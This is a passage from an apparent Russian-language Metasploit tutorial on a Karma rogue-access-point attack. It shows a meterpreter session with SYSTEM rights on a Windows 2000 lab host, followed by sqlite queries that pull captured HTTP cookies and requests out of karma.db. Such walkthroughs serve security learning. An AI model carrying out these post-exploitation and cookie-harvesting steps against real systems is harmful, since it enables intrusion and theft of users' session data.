Теперь у нас есть доступ к системе, посмотрим наши права и возможности в ней.

msf auxiliary(http) > sessions -i 1
[*] Starting interaction with 1...
 
meterpreter > ps
 
Process list
============
 
    PID   Name               Path                                                           
    ---   ----               ----                                                           
    144   smss.exe           \SystemRoot\System32\smss.exe                                  
    172   csrss.exe          \??\C:\WINNT\system32\csrss.exe                                
    192   winlogon.exe       \??\C:\WINNT\system32\winlogon.exe                             
    220   services.exe       C:\WINNT\system32\services.exe                                 
    232   lsass.exe          C:\WINNT\system32\lsass.exe                                    
    284   firefox.exe        C:\Program Files\Mozilla Firefox\firefox.exe                   
    300   KodakImg.exe       C:\Program Files\Windows NT\Accessories\ImageVueKodakImg.exe  
    396   svchost.exe        C:\WINNT\system32\svchost.exe                                  
    416   spoolsv.exe        C:\WINNT\system32\spoolsv.exe                                  
    452   svchost.exe        C:\WINNT\System32\svchost.exe                                  
    488   regsvc.exe         C:\WINNT\system32\regsvc.exe                                   
    512   MSTask.exe         C:\WINNT\system32\MSTask.exe                                   
    568   VMwareService.exe  C:\Program Files\VMware\VMware Tools\VMwareService.exe         
    632   WinMgmt.exe        C:\WINNT\System32\WBEM\WinMgmt.exe                             
    696   TPAutoConnSvc.exe  C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe         
    760   Explorer.exe       C:\WINNT\Explorer.exe                                          
    832   VMwareTray.exe     C:\Program Files\VMware\VMware Tools\VMwareTray.exe            
    848   rundll32.exe       C:\WINNT\system32\rundll32.exe                                 
    860   VMwareUser.exe     C:\Program Files\VMware\VMware Tool\VMwareUser.exe            
    884   RtWLan.exe         C:\Program Files\ASUS WiFi-AP Solo\RtWLan.exe                  
    916   TPAutoConnect.exe  C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe         
    952   SCardSvr.exe       C:\WINNT\System32\SCardSvr.exe                                 
    1168  IEXPLORE.EXE       C:\Program Files\Internet Explorer\IEXPLORE.EXE                
 
meterpreter > ipconfig /all
 
VMware Accelerated AMD PCNet Adapter
Hardware MAC: 00:0c:29:85:81:55
IP Address  : 0.0.0.0
Netmask     : 0.0.0.0
 
 
 
Realtek RTL8187 Wireless LAN USB NIC                                     
Hardware MAC: 00:c0:ca:1a:e7:d4
IP Address  : 10.0.0.100
Netmask     : 255.255.255.0
 
 
 
MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0
 
 
meterpreter > pwd
C:\WINNT\system32
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Чудесно, как и в любых других предыдущих векторах атак наша Meterperter сессия работает как положено.
Однако не всегда все так просто, иногда стандартный вывод задействовать не возможно. Давайте рассмотрим еще один метод доступа к регистрационной информации. Мы будем работать с базой karma.db, которая по умолчанию создается в домашнем каталоге.
Откроем ее с помощью sqlite, далее дамп schema.

root@bt4:~# sqlite3 karma.db
SQLite version 3.5.9
Enter ".help" for instructions
sqlite> .schema
CREATE TABLE hosts (
'id' INTEGER PRIMARY KEY NOT NULL,
'created' TIMESTAMP,
'address' VARCHAR(16) UNIQUE,
'comm' VARCHAR(255),
'name' VARCHAR(255),
'state' VARCHAR(255),
'desc' VARCHAR(1024),
'os_name' VARCHAR(255),
'os_flavor' VARCHAR(255),
'os_sp' VARCHAR(255),
'os_lang' VARCHAR(255),
'arch' VARCHAR(255)
);
CREATE TABLE notes (
'id' INTEGER PRIMARY KEY NOT NULL,
'created' TIMESTAMP,
'host_id' INTEGER,
'ntype' VARCHAR(512),
'data' TEXT
);
CREATE TABLE refs (
'id' INTEGER PRIMARY KEY NOT NULL,
'ref_id' INTEGER,
'created' TIMESTAMP,
'name' VARCHAR(512)
);
CREATE TABLE reports (
'id' INTEGER PRIMARY KEY NOT NULL,
'target_id' INTEGER,
'parent_id' INTEGER,
'entity' VARCHAR(50),
'etype' VARCHAR(50),
'value' BLOB,
'notes' VARCHAR,
'source' VARCHAR,
'created' TIMESTAMP
);
CREATE TABLE requests (
'host' VARCHAR(20),
'port' INTEGER,
'ssl' INTEGER,
'meth' VARCHAR(20),
'path' BLOB,
'headers' BLOB,
'query' BLOB,
'body' BLOB,
'respcode' VARCHAR(5),
'resphead' BLOB,
'response' BLOB,
'created' TIMESTAMP
);
CREATE TABLE services (
'id' INTEGER PRIMARY KEY NOT NULL,
'host_id' INTEGER,
'created' TIMESTAMP,
'port' INTEGER NOT NULL,
'proto' VARCHAR(16) NOT NULL,
'state' VARCHAR(255),
'name' VARCHAR(255),
'desc' VARCHAR(1024)
);
CREATE TABLE targets (
'id' INTEGER PRIMARY KEY NOT NULL,
'host' VARCHAR(20),
'port' INTEGER,
'ssl' INTEGER,
'selected' INTEGER
);
CREATE TABLE vulns (
'id' INTEGER PRIMARY KEY NOT NULL,
'service_id' INTEGER,
'created' TIMESTAMP,
'name' VARCHAR(1024),
'data' TEXT
);
CREATE TABLE vulns_refs (
'ref_id' INTEGER,
'vuln_id' INTEGER
);

Давайте теперь попробуем извлечь нужные нам данные из schema. Во-первых перечислим информацию о системах к которым нам удалось подключиться и создать сессию. Затем просмотрим всю перехваченную информацию, связанную с этими хостами.

sqlite> select * from hosts;
1|2009-05-09 23:47:04|10.0.0.100|||alive||Windows|2000|||x86
sqlite> select * from notes where host_id = 1;
1|2009-05-09 23:47:04|1|http_cookies|en-us.start2.mozilla.com __utma=183859642.1221819733.1241334886.1241334886.1241334886.1; __utmz=183859642.1241334886.1.1.utmccn=(organic)|utmcsr=google|utmctr=firefox|utmcmd=organic
2|2009-05-09 23:47:04|1|http_request|en-us.start2.mozilla.com:80 GET /firefox Windows FF 1.9.0.10